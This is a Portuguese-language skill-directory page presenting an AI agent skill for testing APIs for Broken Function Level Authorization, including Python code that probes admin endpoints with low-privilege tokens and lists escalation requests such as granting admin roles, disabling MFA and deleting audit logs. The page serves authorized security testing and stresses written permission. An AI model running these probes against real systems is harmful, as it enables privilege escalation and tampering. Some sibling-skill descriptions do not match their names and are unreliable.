exploiting-broken-function-level-authorization
Permite que seu agente teste APIs para verificar se usuários comuns podem acessar funções administrativas. Ele tenta acessar endpoints protegidos com credenciais de baixo privilégio.
O que ela faz
Esta ferramenta verifica se usuários comuns conseguem acessar funções ou áreas restritas de um site ou aplicativo, como se fossem administradores. Ela tenta burlar as regras de segurança para ver se encontra falhas.
Quando usar
- ✓Quando você quer ter certeza de que usuários normais não podem fazer coisas de administrador.
- ✓Ao testar se as regras de acesso a funções da API estão funcionando corretamente.
- ✓Para verificar se a documentação da API não revela caminhos secretos para áreas de admin.
Exemplo do que pedir para a IA
“Verifique se um usuário comum pode acessar o painel de administração da API.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta tenta acessar caminhos e funções que geralmente são restritos a administradores. Ela faz isso mudando métodos de requisição, caminhos ou dados enviados, usando credenciais de usuário comum.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-broken-function-level-authorizationOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-broken-function-level-authorization/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Autorização Quebrada em Nível de Função
Quando Usar
- Testar se usuários regulares podem acessar endpoints de API administrativos por acesso direto à URL
- Avaliar APIs para escalonamento vertical de privilégios onde usuários podem invocar funções acima de sua função
- Avaliar se gateways de API e middleware aplicam consistentemente controles de acesso em nível de função
- Testar a implementação de controle de acesso baseado em função (RBAC) em todos os endpoints de API e métodos HTTP
- Validar que a documentação da API não expõe caminhos de endpoint de administrador que carecem de autorização
Não use sem autorização por escrito. Testes de BFLA envolvem tentar executar funções administrativas com credenciais não autorizadas.
Pré-requisitos
- Autorização por escrito especificando a API alvo e as funções administrativas em escopo
- Contas de teste em múltiplos níveis de privilégio: usuário regular, moderador, administrador, super-administrador
- Documentação da API (especificação OpenAPI/Swagger) que pode listar endpoints de administrador
- Burp Suite Professional para interceptação e manipulação de requisições
- Python 3.10+ com a biblioteca
requests - Conhecimento de convenções comuns de nomenclatura de endpoints de administrador
Fluxo de Trabalho
Etapa 1: Descoberta de Endpoints Administrativos
import requests
import itertools
BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}
# Common admin endpoint patterns
ADMIN_PATH_PATTERNS = [
"/api/v1/admin",
"/api/v1/admin/users",
"/api/v1/admin/settings",
"/api/v1/admin/config",
"/api/v1/admin/logs",
"/api/v1/admin/dashboard",
"/api/v1/admin/reports",
"/api/v1/admin/billing",
"/api/v1/manage",
"/api/v1/management",
"/api/v1/internal",
"/api/v1/internal/users",
"/api/v1/system",
"/api/v1/system/health",
"/api/v1/console",
"/api/v1/users/admin",
"/api/v1/roles",
"/api/v1/permissions",
"/api/v1/audit",
"/api/v1/audit/logs",
"/api/internal/",
"/admin/api/",
"/management/api/",
"/backoffice/api/",
]
# Administrative function patterns (POST/PUT/DELETE operations)
ADMIN_FUNCTIONS = [
("POST", "/api/v1/users", {"role": "admin"}), # Create user with admin role
("PUT", "/api/v1/users/1/role", {"role": "admin"}), # Change user role
("DELETE", "/api/v1/users/1002", None), # Delete another user
("POST", "/api/v1/settings", {"maintenance": True}), # Modify system settings
("GET", "/api/v1/users?role=admin", None), # List admin users
("POST", "/api/v1/export/users", None), # Export user data
("POST", "/api/v1/users/1002/disable", None), # Disable user account
("POST", "/api/v1/users/1002/reset-password", None), # Force password reset
("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security
("DELETE", "/api/v1/audit/logs", None), # Delete audit logs
]
# Phase 1: Discover accessible admin endpoints
print("Phase 1: Admin Endpoint Discovery")
for path in ADMIN_PATH_PATTERNS:
for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
try:
resp = requests.request(method, f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404, 405):
print(f" [ACCESSIBLE] {method} {path} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
Etapa 2: Teste de Função Baseado em Papel
# Definir papéis e seus níveis de acesso esperados
ROLES = {
"unauthenticated": {},
"regular_user": {"Authorization": "Bearer <regular_token>"},
"moderator": {"Authorization": "Bearer <moderator_token>"},
"admin": {"Authorization": "Bearer <admin_token>"},
}
# Endpoints com requisito mínimo de papel esperado
ROLE_MATRIX = [
# (method, endpoint, body, minimum_role)
("GET", "/api/v1/users/me", None, "regular_user"),
("GET", "/api/v1/users", None, "admin"),
("POST", "/api/v1/users", {"email":"x@y.com","name":"X","role":"user"}, "admin"),
("DELETE", "/api/v1/users/1002", None, "admin"),
("GET", "/api/v1/admin/settings", None, "admin"),
("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
("GET", "/api/v1/reports/financial", None, "admin"),
("POST", "/api/v1/users/1002/ban", None, "moderator"),
…
Perguntas frequentes
O que é 'Broken Function Level Authorization'?
É uma falha de segurança onde um usuário com pouca permissão consegue executar ações ou acessar dados destinados a usuários com mais privilégios (como administradores).
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter autorização por escrito antes de testar qualquer API. Tentar acessar funções administrativas sem permissão é ilegal.
Quais ferramentas preciso para usar?
Você precisará de contas de teste com diferentes níveis de acesso (usuário, admin), a documentação da API (se disponível) e ferramentas como Burp Suite e Python com a biblioteca 'requests'.
Detalhes
Descrição original do autor
Tests APIs for Broken Function Level Authorization (OWASP API5:2023) by identifying admin and privileged endpoints, then reaching them with regular-user credentials via HTTP method switching, URL path manipulation, and parameter tampering. Use when testing whether low-privilege users can invoke admin API functions or otherwise escalate privileges via function-level access control gaps.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5739
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC